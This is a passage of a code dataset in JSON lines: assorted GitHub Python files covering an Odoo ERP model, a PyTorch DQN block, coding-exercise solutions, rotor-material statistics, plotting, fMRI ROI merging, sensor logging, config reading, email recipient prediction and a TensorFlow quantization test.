'cost': record.present_quantity * unit_price,\n            }\n            export_card_list.append(export_card)\n        export_card_list.sort(key=operator.itemgetter('export_date'))\n        for record in export_card_list:\n            weight_left -= record['weight_delivery']\n            record.update({'weight_left': weight_left})\n        self.tracking_card_information_ids = export_card_list\n\n    @api.one\n    @api.depends('order_id')\n    def compute_name(self):\n        self.name = _('Tracking Card') + ' ' + self.order_id.code\n\n    @api.multi\n    @api.depends('tracking_card_information_ids')\n    def compute_total(self):\n        for record in self.tracking_card_information_ids:\n            self.total_weight_delivery += record.weight_delivery\n            self.total_weight_left = record.weight_left\n            self.total_cost += record.cost\n\n\nclass TrackingCardInformation(models.Model):\n    _name = 'vnitpro.tracking.card.information'\n\n    tracking_card_id = fields.Many2one('vnitpro.tracking.card', 'Tracking Card', required=True, ondelete='cascade')\n\n    export_card_number = fields.Char('Export Card Number', readonly=True)\n    export_date = fields.Date('Export Date', readonly=True)\n    product_group_id = fields.Many2one('vnitpro.product.group', 'Product', readonly=True)\n    unit_id = fields.Many2one('vnitpro.unit', 'Unit', related='product_group_id.unit_id', readonly=True)\n    weight_delivery = fields.Float('Weight Delivery', readonly=True)\n    weight_left = fields.Float('Weight Left', readonly=True)\n    cost = fields.Float('Cost', readonly=True)\n    currency_id = fields.Many2one('vnitpro.currency', 'Currency', readonly=True)\n    reversed = fields.Float('Reversed', compute='compute_reversed')\n\n    @api.one\n    def compute_reversed(self):\n        import_quantity = export_quantity = 0\n        import_inven_list = self.env['vnitpro.inventory.import.product.detail'].search(\n            [('product_group_id', '=', self.product_group_id.id),\n             ('inventory_import_product_id.import_date', '<=', self.export_date)])\n        export_inven_list = self.env['vnitpro.inventory.export.product.detail'].search(\n            [('product_group_id', '=', self.product_group_id.id),\n             ('inventory_export_product_id.export_date', '<=', self.export_date)])\n        for record in import_inven_list:\n            import_quantity += record.quantity\n        for record in export_inven_list:\n            export_quantity += record.present_quantity\n        self.reversed = import_quantity - export_quantity\n","repo_name":"tu2305/VNITPro_erp","sub_path":"vnitpro_consume/models/tracking_card.py","file_name":"tracking_card.py","file_ext":"py","file_size_in_byte":6934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"39662317952","text":"# Creating an empty set\nb = set()\nprint(type(b))\n\n#Adding values to an empty set\nb.add(4)\nb.add(5)\nb.add(5) # Adding a value repeatedly does not changes a set\n\nprint(b)\n\n#Lets observe weather we can add list in this set or not\n\nb.add([4,5,6])\n\nprint(b) \n#We will get unhashable type list which means we cannot add list in set(same for dicitionary)\n\n#but but but we can add tuple in this just use b.add((4,5,6))\n\n# b.remove(5)  it will remove 5 from b\n# b.remove(15) it will show error as there is no '15'\n ","repo_name":"mehulbatra08/Python_Addy","sub_path":"class 5/06_set_methods.py","file_name":"06_set_methods.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"41799055066","text":"from typing import Tuple\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\n\n\nclass DQNImageBlock(nn.Module):\n    def __init__(\n        self,\n        in_shape: Tuple[int, ...],\n        filters: int = 32,\n        activation=\"ReLU\",\n        enable_time_distributed_layer: bool = False,\n    ):\n        super().__init__()\n        self.enable_time_distributed_layer = enable_time_distributed_layer\n\n        if isinstance(activation, str):\n            activation = getattr(nn, activation)\n\n        in_ch = in_shape[-3]\n\n        # (batch, in_ch, 84, 84)\n        # -> (batch, 32, 21, 21)\n        # -> (batch, 64, 11, 11)\n        # -> (batch, 64, 11, 11)\n        self.image_layers = nn.ModuleList(\n            [\n                nn.Conv2d(\n                    in_ch,\n                    filters,\n                    kernel_size=8,\n                    stride=4,\n                    padding=3,\n                    padding_mode=\"replicate\",\n                ),\n                activation(inplace=True),\n                nn.Conv2d(\n                    filters,\n                    filters * 2,\n                    kernel_size=4,\n                    stride=2,\n                    padding=2,\n                    padding_mode=\"replicate\",\n                ),\n                activation(inplace=True),\n                nn.Conv2d(\n                    filters * 2,\n                    filters * 2,\n                    kernel_size=3,\n                    stride=1,\n                    padding=1,\n                    padding_mode=\"replicate\",\n                ),\n                activation(inplace=True),\n            ]\n        )\n\n        # --- out shape\n        x = np.ones((1,) + in_shape, dtype=np.float32)\n        y = self.forward(torch.tensor(x))\n        self.out_shape = y.shape[-3:]\n\n    def forward(self, x):\n        if self.enable_time_distributed_layer:\n            # (batch, seq, c, h, w) -> (batch*seq, c, h, w)\n            batch_size, seq, channels, height, width = x.size()\n            x = x.view(batch_size * seq, channels, height, width)\n\n            for layer in self.image_layers:\n                x = layer(x)\n\n            # (batch*seq, c, h, w) -> (batch, seq, c, h, w)\n            _, channels, height, width = x.size()\n            x = x.view(batch_size, seq, channels, height, width)\n\n        else:\n            for layer in self.image_layers:\n                x = layer(x)\n\n        return x\n\n\nif __name__ == \"__main__\":\n    m = DQNImageBlock((96, 72, 3))\n    print(m)\n","repo_name":"pocokhc/simple_distributed_rl","sub_path":"srl/rl/models/dqn/torch_/dqn_image_block.py","file_name":"dqn_image_block.py","file_ext":"py","file_size_in_byte":2462,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"21"}
+{"seq_id":"72862241014","text":"# You are given an m x n matrix of characters box representing a side-view of a box. Each cell of the box is one of the following:\n\n#     A stone '#'\n#     A stationary obstacle '*'\n#     Empty '.'\n\n# The box is rotated 90 degrees clockwise, causing some of the stones to fall due to gravity. Each stone falls down until it lands on an obstacle, another stone, or the bottom of the box. Gravity does not affect the obstacles' positions, and the inertia from the box's rotation does not affect the stones' horizontal positions.\n\n# It is guaranteed that each stone in box rests on an obstacle, another stone, or the bottom of the box.\n\n# Return an n x m matrix representing the box after the rotation described above.\n\nclass Solution:\n    def rotateTheBox(self, box: List[List[str]]) -> List[List[str]]:\n        for row in box:\n            for i in range(len(row)-1,-1,-1):\n                if row[i] == '#':\n                    self.move(row,i)\n        newBox = []\n        for m in range(len(box[0])):\n            level = []\n            for n in range(len(box)-1,-1,-1):\n                level.append(box[n][m])\n            newBox.append(level)\n        return newBox\n                \n    \n    def move(self,row,idx):\n        if idx < len(row) - 1:\n            while idx < len(row) -1 and row[idx+1] == '.':\n                row[idx] = '.'\n                row[idx + 1] = '#'\n                idx +=1 \n\n# Time complexity is O(MN^2 * M * N)\n\n# Space complexity is O(MN) if we consider the newBox grid\n\n# Same logic, more succint code\n\nclass Solution:\n    def rangeSum(self, nums: List[int], n: int, left: int, right: int) -> int:\n        sums = []\n        for i in range(len(nums)):\n            prefix = 0\n            for j in range(i,len(nums)):\n                prefix += nums[j]\n                sums.append(prefix)\n        sums.sort()\n        return sum(sums[left-1:right])%(10**9+7)\n\n        ","repo_name":"conor47/Algorithm-Patterns","sub_path":"General Problems/Array/rotatingTheBox.py","file_name":"rotatingTheBox.py","file_ext":"py","file_size_in_byte":1887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"13550797384","text":"\"\"\"Materials module.\n\nThis module defines the Material class and defines\nsome of the most common materials used in rotors.\n\"\"\"\nfrom collections.abc import Iterable\n\nimport numpy as np\n\nfrom ross.materials import Material\nfrom ross.stochastic.st_results_elements import plot_histogram\nfrom ross.units import check_units\n\n__all__ = [\"ST_Material\"]\n\n\nclass ST_Material:\n    \"\"\"Create instance of Material with random parameters.\n\n    Class used to create a material and define its properties.\n    Density and at least 2 arguments from E, G_s and Poisson should be\n    provided.\n\n    If any material property is passed as iterable, the material becomes random.\n    Inputing 1 or 2 arguments from E, G_s or Poisson as iterable will turn the\n    third argument an iterable, but calculated based on the other two.\n\n    For example:\n        if E is iterable and G_s is float, then, Poisson is iterable and each\n        term is calculated based on E values and G_s single value.\n\n    You can run ross.Material.available_materials() to get a list of materials\n    already provided.\n\n    Parameters\n    ----------\n    name : str\n        Material name.\n    rho : float, list, pint.Quantity\n        Density (kg/m**3).\n        Input a list to make it random.\n    E : float, list, pint.Quantity\n        Young's modulus (N/m**2).\n        Input a list to make it random.\n    G_s : float, list\n        Shear modulus (N/m**2).\n        Input a list to make it random.\n    Poisson : float, list\n        Poisson ratio (dimensionless).\n        Input a list to make it random.\n    color : str\n        Can be used on plots.\n\n    Examples\n    --------\n    >>> # Steel with random Young's modulus.\n    >>> import ross.stochastic as srs\n    >>> E = np.random.uniform(208e9, 211e9, 5)\n    >>> st_steel = srs.ST_Material(name=\"Steel\", rho=7810, E=E, G_s=81.2e9)\n    >>> len(list(iter(st_steel)))\n    5\n    \"\"\"\n\n    @check_units\n    def __init__(\n        self, name, rho, E=None, G_s=None, Poisson=None, color=\"#525252\", **kwargs\n    ):\n        self.name = str(name)\n        if \" \" in name:\n            raise ValueError(\"Spaces are not allowed in Material name\")\n\n        i = 0\n        for arg in [\"E\", \"G_s\", \"Poisson\"]:\n            if locals()[arg] is not None:\n                i += 1\n        if i != 2:\n            raise ValueError(\n                \"Exactly 2 arguments from E, G_s and Poisson should be provided\"\n            )\n\n        is_random = []\n        for par, _name in zip([rho, E, G_s, Poisson], [\"rho\", \"E\", \"G_s\", \"Poisson\"]):\n            if isinstance(par, Iterable):\n                is_random.append(_name)\n\n        if type(rho) == list:\n            rho = np.asarray(rho)\n        if type(E) == list:\n            E = np.asarray(E)\n        if type(G_s) == list:\n            G_s = np.asarray(G_s)\n        if type(Poisson) == list:\n            Poisson = np.asarray(Poisson)\n\n        attribute_dict = dict(\n            name=name,\n            rho=rho,\n            E=E,\n            G_s=G_s,\n            Poisson=Poisson,\n            color=color,\n        )\n        self.is_random = is_random\n        self.attribute_dict = attribute_dict\n\n    def __iter__(self):\n        \"\"\"Return an iterator for the container.\n\n        Returns\n        -------\n        An iterator over random material properties.\n\n        Examples\n        --------\n        >>> import ross.stochastic as srs\n        >>> E = np.random.uniform(208e9, 211e9, 5)\n        >>> st_steel = srs.ST_Material(name=\"Steel\", rho=7810, E=E, G_s=81.2e9)\n        >>> len(list(iter(st_steel)))\n        5\n        \"\"\"\n        return iter(self.random_var(self.is_random, self.attribute_dict))\n\n    def __getitem__(self, key):\n        \"\"\"Return the value for a given key from attribute_dict.\n\n        Parameters\n        ----------\n        key : str\n            A class parameter as string.\n\n        Raises\n        ------\n        KeyError\n            Raises an error if the parameter doesn't belong to the class.\n\n        Returns\n        -------\n        Return the value for the given key.\n\n        Example\n        -------\n        >>> import ross.stochastic as srs\n        >>> E = np.random.uniform(208e9, 211e9, 5)\n        >>> st_steel = srs.ST_Material(name=\"Steel\", rho=7810, E=E, G_s=81.2e9)\n        >>> st_steel[\"rho\"]\n        7810\n        \"\"\"\n        if key not in self.attribute_dict.keys():\n            raise KeyError(\"Object does not have parameter: {}.\".format(key))\n\n        return self.attribute_dict[key]\n\n    def __setitem__(self, key, value):\n        \"\"\"Set new parameter values for the object.\n\n        Function to change a parameter value.\n        It's not allowed to add new parameters to the object.\n\n        Parameters\n        ----------\n        key : str\n            A class parameter as string.\n        value : The corresponding value for the attrbiute_dict's key.\n            ***check the correct type for each key in ST_Material\n            docstring.\n\n        Raises\n        ------\n        KeyError\n            Raises an error if the parameter doesn't belong to the class.\n\n        Example\n        -------\n        >>> import ross.stochastic as srs\n        >>> E = np.random.uniform(208e9, 211e9, 5)\n        >>> st_steel = srs.ST_Material(name=\"Steel\", rho=7810, E=E, G_s=81.2e9)\n        >>> st_steel[\"E\"] = np.linspace(200e9, 205e9, 5)\n        >>> st_steel[\"E\"]\n        array([2.0000e+11, 2.0125e+11, 2.0250e+11, 2.0375e+11, 2.0500e+11])\n        \"\"\"\n        if key not in self.attribute_dict.keys():\n            raise KeyError(\"Object does not have parameter: {}.\".format(key))\n        self.attribute_dict[key] = value\n\n    def random_var(self, is_random, *args):\n        \"\"\"Generate a list of objects as random attributes.\n\n        This function creates a list of objects with random values for selected\n        attributes from ross.Material.\n\n        Parameters\n        ----------\n        is_random : list\n            List of the object attributes to become stochastic.\n        *args : dict\n            Dictionary instanciating the ross.Material class.\n            The attributes that are supposed to be stochastic should be\n            set as lists of random variables.\n\n        Returns\n        -------\n        f_list : generator\n            Generator of random objects.\n        \"\"\"\n        args_dict = args[0]\n        new_args = []\n        for i in range(len(args_dict[is_random[0]])):\n            arg = []\n            for key, value in args_dict.items():\n                if key in is_random:\n                    arg.append(value[i])\n                else:\n                    arg.append(value)\n            new_args.append(arg)\n        f_list = (Material(*arg) for arg in new_args)\n\n        return f_list\n\n    def plot_random_var(self, var_list=None, histogram_kwargs=None, plot_kwargs=None):\n        \"\"\"Plot histogram and the PDF.\n\n        This function creates a histogram to display the random variable\n        distribution.\n\n        Parameters\n        ----------\n        var_list : list, optional\n            List of random variables, in string format, to plot.\n            Default is plotting all the random variables.\n        histogram_kwargs : dict, optional\n            Additional key word arguments can be passed to change\n            the plotly.go.histogram (e.g. histnorm=\"probability density\", nbinsx=20...).\n            *See Plotly API to more information.\n        plot_kwargs : dict, optional\n            Additional key word arguments can be passed to change the plotly go.figure\n            (e.g. line=dict(width=4.0, color=\"royalblue\"), opacity=1.0, ...).\n            *See Plotly API to more information.\n\n        Returns\n        -------\n        fig : Plotly graph_objects.Figure()\n            A figure with the histogram plots.\n\n        Examples\n        --------\n        >>> import ross.stochastic as srs\n        >>> E = np.random.uniform(208e9, 211e9, 5)\n        >>> st_steel = srs.ST_Material(name=\"Steel\", rho=7810, E=E, G_s=81.2e9)\n        >>> fig = st_steel.plot_random_var([\"E\"])\n        >>> # fig.show()\n        \"\"\"\n        label = dict(\n            E=\"Young's Modulus\",\n            G_s=\"Shear Modulus\",\n            Poisson=\"Poisson coefficient\",\n            rho=\"Density\",\n        )\n\n        if var_list is None:\n            var_list = self.is_random\n        elif not all(var in self.is_random for var in var_list):\n            raise ValueError(\n                \"Random variable not in var_list. Select variables from {}\".format(\n                    self.is_random\n                )\n            )\n\n        return plot_histogram(\n            self.attribute_dict, label, var_list, histogram_kwargs={}, plot_kwargs={}\n        )\n","repo_name":"petrobras/ross","sub_path":"ross/stochastic/st_materials.py","file_name":"st_materials.py","file_ext":"py","file_size_in_byte":8599,"program_lang":"python","lang":"en","doc_type":"code","stars":99,"dataset":"github-code","pt":"21"}
+{"seq_id":"9564669309","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Nov 19 17:29:55 2013\n\n@author: hok1\n\"\"\"\n\nimport numpy as np\nfrom functools import partial\n\n# Parameters from E. Jacobsson, fig. 1\ndef lppl(t, A=569.988, B=-266.943, C=-14.242, tc=1930.218, phi=-4.1, \n         omega=7.877, z=0.445):\n    critical_dist = (tc-t)**z\n    first = A\n    second = B*critical_dist\n    third = C*critical_dist*np.cos(omega*np.log(tc-t)+phi)\n    return first+second+third\n    \ndef costfunction(tarray, yarray, model):\n    modelyarray = model(tarray)\n    return np.sum((modelyarray-yarray)**2)/len(tarray) if len(tarray)>0 else 0\n    \ndef lppl_costfunction(tarray, yarray, A=569.988, B=-266.943, C=-14.242,\n                      tc=1930.218, phi=-4.1, omega=7.877, z=0.445):\n    '''\n    tyarray = filter(lambda item: item[0]<tc, zip(tarray, yarray))\n    filter_tarray = np.array(map(lambda item: item[0], tyarray))\n    filter_yarray = np.array(map(lambda item: item[1], tyarray))\n    model = partial(lppl, A=A, B=B, C=C, tc=tc, phi=phi, omega=omega, z=z)\n    peak_y = np.max(filter_yarray) if len(filter_yarray)>0 else 0\n    crashedtyarray = filter(lambda item: item[0]>=tc, zip(tarray, yarray))\n    crashed_cost = 0\n    if (len(crashedtyarray) > 0):\n        crashed_cost = np.sum(np.array(map(lambda item: (item[1]-peak_y)**2, crashedtyarray))) / len(crashedtyarray)\n    return costfunction(filter_tarray, filter_yarray, model) + crashed_cost\n    '''\n    model = partial(lppl, A=A, B=B, C=C, tc=tc, phi=phi, omega=omega, z=z)\n    maxt = np.max(tarray)\n    return float('inf') if tc < maxt else costfunction(tarray, yarray, model)\n    \n    \ndef lppl_dictparam(tarray, parameters):\n    return lppl(tarray, A=parameters['A'], B=parameters['B'],\n                C=parameters['C'], tc=parameters['tc'], \n                phi=parameters['phi'], omega=parameters['omega'],\n                z=parameters['z'])       \n                \ndef lpplcostfunc_dictparam(tarray, yarray, parameters):\n    return lppl_costfunction(tarray, yarray, A=parameters['A'], \n                             B=parameters['B'], C=parameters['C'], \n                             tc=parameters['tc'], phi=parameters['phi'],\n                             omega=parameters['omega'], z=parameters['z'])\n","repo_name":"OwaJawa/lppl","sub_path":"lpplmodel.py","file_name":"lpplmodel.py","file_ext":"py","file_size_in_byte":2226,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"41413755606","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Nov 19 17:24:47 2019\n\n@author: 106300\n\"\"\"\n\nimport plotly.graph_objects as go\n\nfig = go.Figure()\n\nfig.add_trace(go.Scatter(\n    x=[1.5, 4.5],\n    y=[0.75, 0.75],\n    text=[\"Unfilled Rectangle\", \"Filled Rectangle\"],\n    mode=\"text\",\n))\n\n# Set axes properties\nfig.update_xaxes(range=[0, 7], showgrid=False)\nfig.update_yaxes(range=[0, 5])\n\n# Add shapes\nfig.add_shape(\n        # unfilled Rectangle\n        go.layout.Shape(\n            type=\"rect\",\n            xref=\"x\",\n            yref=\"y\",\n            x0=1,\n            y0=1,\n            x1=2,\n            y1=2,\n            line=dict(\n                color=\"RoyalBlue\",\n            ),\n        ))\nfig.add_shape(\n        # filled Rectangle\n        go.layout.Shape(\n            type=\"rect\",\n            x0=3,\n            y0=1,\n            x1=6,\n            y1=2,\n            line=dict(\n                color=\"RoyalBlue\",\n                width=2,\n            ),\n            fillcolor=\"LightSkyBlue\",\n        ))\nfig.update_shapes(dict(xref='x', yref='y'))\nfig.show()","repo_name":"orlando68/Stanford","sub_path":"plotly_rectangle.py","file_name":"plotly_rectangle.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"19992435390","text":"\n\nimport nibabel as nib\nimport nilearn as nil\nfrom nilearn import plotting\n\nfrom socket import gethostname\nfrom yaml.loader import SafeLoader\nimport yaml\n\nprint(gethostname())\n# Open the file and load the file\nwith open('config.yml') as f:\n    all_yaml = yaml.load(f, Loader=SafeLoader)\n    if gethostname() in all_yaml.keys():\n        config = all_yaml[gethostname()]\n    else:\n        config = all_yaml['default']\n        \nprint(config)\n        \n#dev_scripts_abs_path = config['l2_analysis_files']\nl2_analysis_files = config['l2_analysis_files']\n#posterror_folder = 'posterror_cues_no_rt_20230616'\nposterror_folder = 'posterror_cues_no_rt_20230821'\n\ncluster_folderpath = l2_analysis_files + '/SST/' + posterror_folder + '/CueFollowing(CS>FS)'\n# roi file to open\nroi_files = [cluster_folderpath + '/CueFollowing(CS>FS)striatal_cluster_1.nii',\ncluster_folderpath + '/CueFollowing(CS>FS)striatal_cluster_2.nii']\n# load each of the roi files\n \nroi_data = []\nfor roi_file in roi_files:\n    print(roi_file)\n    ni_file = nib.load(roi_file)\n    #binarize roi using nilearn\n    ni_file = nil.image.math_img(\"img > 0\", img=ni_file)\n    roi_data = roi_data + [ni_file]\n    #display the roi\n    #plotting.plot_roi(ni_file, title=roi_file)\n    print(\"displayed\")\n#combine the rois\n#concatenate them\ncombined_roi_data = nil.image.concat_imgs(roi_data)\n#then add them\ncombined_roi_data = nil.image.math_img(\"np.sum(imgs, axis=3)\", imgs=combined_roi_data)\n\nplotting.plot_roi(combined_roi_data, title=\"combined\")\n#save the combined roi\ncombined_roi_data.to_filename(\n    cluster_folderpath + '/CueFollowing(CS>FS)striatal_cluster_combined.nii')\n\n    \n\n\n","repo_name":"UOSAN/DEV_scripts","sub_path":"fMRI/fx/models/SST/direct_regression/create_striatal_roi.py","file_name":"create_striatal_roi.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"25730393685","text":"#!/usr/bin/env python3\n\n# from magPlot import MagPlot\nfrom serial import Serial\nimport numpy as np\nfrom the_collector import Collector\nfrom datetime import datetime\nimport time\nfrom datatypes import *\n# from threading import Thread, Event, Lock\n# import copy\nimport sys\n\n\ninfo = {\n    \"lis3mdl\": {\n        \"mag_range_gs\": 4,\n        \"samplerate_hz\": 155,\n        \"date\": datetime.now().isoformat()\n    }\n}\n\ndata = {\n    \"accels\": [],\n    \"gyros\": [],\n    \"mags\": [],\n    \"pt\": [],\n    \"timestamp\": []\n}\n\ndef main():\n    global plot_buffer\n    coll = Collector()\n    coll.timestamp = False\n\n    ser = Serial()\n    ser.port = \"/dev/tty.usbmodem14401\"\n    ser.baudrate = 1000000\n    ser.open()\n\n    try:\n        while (True):\n            buffer = []\n            c = ser.read().decode(\"utf8\")\n            while (c != '\\n'):\n                buffer.append(c)\n                c = ser.read().decode(\"utf8\")\n\n            if buffer[0] == '*':\n                continue\n\n            s = ''.join(buffer)\n            print(s)\n\n            v = s.split('|') # breakout sensors\n\n            vv = v[1].split(',')\n            a = vec_t(float(vv[0]),float(vv[1]),float(vv[2]))\n            data[\"accels\"].append(a)\n\n            vv = v[2].split(',')\n            g = vec_t(float(vv[0]),float(vv[1]),float(vv[2]))\n            data[\"gyros\"].append(g)\n\n            ts = float(v[3])\n            data[\"timestamp\"].append(ts)\n\n            vv = v[4].split(',')\n            m = vec_t(float(vv[0]),float(vv[1]),float(vv[2]))\n            data[\"mags\"].append(m)\n\n            vv = v[5].split(',')\n            pt = pt_t(float(vv[0]),float(vv[1]))\n            data[\"pt\"].append(pt)\n\n    except KeyboardInterrupt:\n        print(\"Data points captured: \", len(data[\"accels\"]))\n        coll.write(\"allcal.pkl\", data, info)\n        sys.stdout.flush()\n    finally:\n        ser.close()\n\nmain()\n","repo_name":"the-guild-of-calamitous-intent/gciSensors","sub_path":"docs/notebooks/calibration/get_all_data.py","file_name":"get_all_data.py","file_ext":"py","file_size_in_byte":1850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"13848408317","text":"#!/usr/bin/env/python3\n# -*- coding:utf-8 -*-\n\"\"\"\n@project: apiAutoTest\n@author: zy7y\n@file: read_config.py\n@ide: PyCharm\n@time: 2020/7/31\n\"\"\"\nimport yaml\nfrom loguru import logger\n\n\nclass ReadConfig(object):  #这个是读取数据的类\n    data = None\n    #定义data数据\n\n    #把对应的错误用日志输出出来，输出到控制台或者日志文件\n    @logger.catch\n    def __init__(self):\n        # 指定编码格式解决，win下跑代码抛出错误\n        with open('../config/config.yaml', 'r', encoding='utf-8') as file:\n            self.data = yaml.load(file.read(), Loader=yaml.FullLoader)     # load是将yaml类型转换为python数据类型\n            #yaml.load解析文件流中第一个yaml文档，并生成python对象。\n\n    @logger.catch\n    def read_serve_config(self, sever_name):\n    #读取服务器地址\n\n        logger.info(self.data.get('server').get(sever_name))\n        #获取yaml文件里的server内容，里面有test和dev,再get指定一下\n        return self.data.get('server').get(sever_name)\n\n    @logger.catch\n    def read_response_reg(self):\n    # 这是个获取token的          jsonpath表达式           ，      不是数据    ，      是表达式！\n        get_token = self.data.get(\"response_reg\").get(\"token\")\n        get_resp = self.data.get('response_reg').get('response')\n        logger.info(f'从响应中提取的token表达式: {get_token}')   #另一种输出，格式好看点,在最下面显示\n        logger.info(f'从响应提取的需要校验的表达式: {get_resp}')\n        return get_token, get_resp\n\n    @logger.catch\n    #这里指定路径名称获取文件数据\n    def read_file_path(self, file_path_name):\n        return self.data.get('file_path').get(file_path_name)\n\n    def read_email_setting(self):\n        return self.data.get('email')\n\nif __name__ == '__main__':  #测试下类功能有没有问题\n    read_config = ReadConfig()  #实例化\n    result = read_config.data\n    print(type(result),result)  #<class 'dict'>\n\n    result = read_config.read_serve_config('dev')\n    print(result,type(result))  #接口测试中不变的那一串部分地址\n\n    response_reg,token_reg = read_config.read_response_reg()\n    print(response_reg,token_reg)\n\n    result = read_config.read_file_path('case_data')\n    print(result)\n\n    result = read_config.read_file_path('test')  #读取不存在的文件路径\n    print(result,type(result))   #None <class 'NoneType'>\n\n    result = read_config.read_email_setting()\n    print(result,type(result))\n\n\n\n","repo_name":"Mor03/git01","sub_path":"tools/read_config.py","file_name":"read_config.py","file_ext":"py","file_size_in_byte":2541,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"39913262847","text":"import pandas as pd\n\nfrom src.centroid_recommendation import compute_recommendations\nfrom src.postprocess import write_results_ranked\nfrom src.preprocess import body_dict_from_panda, get_email_ids_per_sender, get_conversation_ids, get_all_senders\nfrom src.scoring import get_train_val, compute_prediction_mad\nfrom src.tfidftools import get_tfidf\nimport pickle as pkl\n\npath_to_data = 'data/'\npath_to_results = 'results/'\n\nn_recipients = 'max'\n\n##########################\n# load some of the files #\n##########################\n\ntraining = pd.read_csv(path_to_data + 'training_set.csv', sep=',', header=0)\n\ntraining_info = pd.read_csv(\n    path_to_data + 'training_info.csv', sep=',', header=0)\n\ntest = pd.read_csv(path_to_data + 'test_set.csv', sep=',', header=0)\n\ntest_info = pd.read_csv(\n    path_to_data + 'test_info.csv', sep=',', header=0)\n\n# Compute useful structures\n\ntrain_info, train_ids_per_sender_val, val_info, val_ids_per_sender = get_train_val(training, training_info,\n                                                                                   0.95, disp=True)\n\ntrain_bodies = body_dict_from_panda(train_info)\nval_bodies = body_dict_from_panda(val_info)\n\ntest_bodies = body_dict_from_panda(test_info)\n\nbody_dict = {**train_bodies, **val_bodies, **test_bodies}\n\nprint('Fitting tfidf, this will take some time...')\ntfidf, tfs, keys = get_tfidf(body_dict, 0.001, 0.10)\nprint(\"Fitted.\")\n\nprint(\"Computing recommendations for train/val...\")\n\nconversation_ids_val = get_conversation_ids(train_ids_per_sender_val, training_info)\nsenders = get_all_senders(training)\nrecommendations_val = compute_recommendations(n_recipients, senders, train_info, conversation_ids_val, val_info,\n                                              val_ids_per_sender, tfidf)\nprint(\"Done!\")\n\nprint(\"Computing recommendations for train/test...\")\n\nn_recipients = 10\n\ntrain_ids_per_sender = get_email_ids_per_sender(training)\nconversation_ids = get_conversation_ids(train_ids_per_sender, training_info)\ntest_ids_per_sender = get_email_ids_per_sender(test)\n\nrecommendations_test = compute_recommendations(n_recipients, senders, training_info, conversation_ids, test_info,\n                                               test_ids_per_sender, tfidf)\nprint(\"Done!\")\nprint(\"Computing score on validation set...\")\nprint(\"Score: {}\".format(compute_prediction_mad(recommendations_val, val_info)))\n\nprint(\"Writing file...\")\nwrite_results_ranked(recommendations_val, path_to_results, \"centroids_validation.csv\")\nwrite_results_ranked(recommendations_test, path_to_results, \"centroids_test.csv\")\n\nwith open(path_to_results + 'centroids_dict.p', 'wb') as f:\n    pkl.dump(recommendations_val, f)","repo_name":"GeoffNN/ALTEGRADEnron","sub_path":"centroids_demo.py","file_name":"centroids_demo.py","file_ext":"py","file_size_in_byte":2664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"15936908001","text":"\nimport os\nfrom tensorflow.python.client import session\nfrom tensorflow.python.framework import constant_op\nfrom tensorflow.python.framework import importer\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.framework import test_util\nfrom tensorflow.python.ops import math_ops\nfrom tensorflow.python.ops import variables\nfrom tensorflow.python.platform import test\nfrom tensorflow.python.training import quantize_training\nfrom tensorflow.python.training import saver as saver_module\nclass PywrapQuantizeTrainingTest(test.TestCase):\n  def testQuantizeTraining(self):\n    with session.Session() as sess:\n      a = constant_op.constant(6.0, shape=[1, 1])\n      b = constant_op.constant(7.0, shape=[1, 1])\n      c = math_ops.matmul(a, b, name='matmul')\n      self.assertEqual(c.eval(), 42.0)\n      self.assertEqual(len(sess.graph_def.node), 3)\n      result = quantize_training.do_quantize_training_on_graphdef(\n          sess.graph_def, 8)\n      self.assertGreater(len(result.node), 3)\n  @test_util.run_v1_only('The API is only expect to work with v1 session mode.')\n  def testQuantizedSaveRestore(self):\n    save_path = os.path.join(self.get_temp_dir(), 'quantized_save_restore')\n    g = ops.Graph()\n    with session.Session(graph=g) as sess:\n      a = constant_op.constant(6.0, shape=[1, 1], name='a')\n      b = variables.VariableV1(\n          constant_op.constant(7.0, shape=[1, 1]), name='b')\n      c = math_ops.matmul(a, b, name='matmul')\n      init_op = variables.global_variables_initializer()\n      saver = saver_module.Saver({'b': b})\n      result = quantize_training.do_quantize_training_on_graphdef(\n          sess.graph_def, 8)\n    with ops.Graph().as_default() as g, session.Session(graph=g) as sess:\n      _ = importer.import_graph_def(result, name='')\n      self.evaluate(g.get_operation_by_name(init_op.name))\n      self.evaluate(g.get_tensor_by_name(c.name))\n      saver.save(sess, save_path)\n    with ops.Graph().as_default() as g, session.Session(graph=g) as sess:\n      _ = importer.import_graph_def(result, name='')\n      saver.restore(sess, save_path)\n      self.assertEqual(7.0, sess.run(g.get_tensor_by_name('b:0')))\n      self.assertEqual(6.0, sess.run(g.get_tensor_by_name('a/Min/Variable:0')))\n      self.assertEqual(6.0, sess.run(g.get_tensor_by_name('a/Max/Variable:0')))\n      self.assertEqual(7.0,\n                       sess.run(g.get_tensor_by_name('b/read/Min/Variable:0')))\n      self.assertEqual(7.0,\n                       sess.run(g.get_tensor_by_name('b/read/Max/Variable:0')))\nif __name__ == '__main__':\n  test.main()\n","repo_name":"Mockingbird01001/NLG-code-generator-LSTM","sub_path":"work/data/data_model/batch_2/quantize_training_test.py.transformed.py","file_name":"quantize_training_test.py.transformed.py","file_ext":"py","file_size_in_byte":2571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
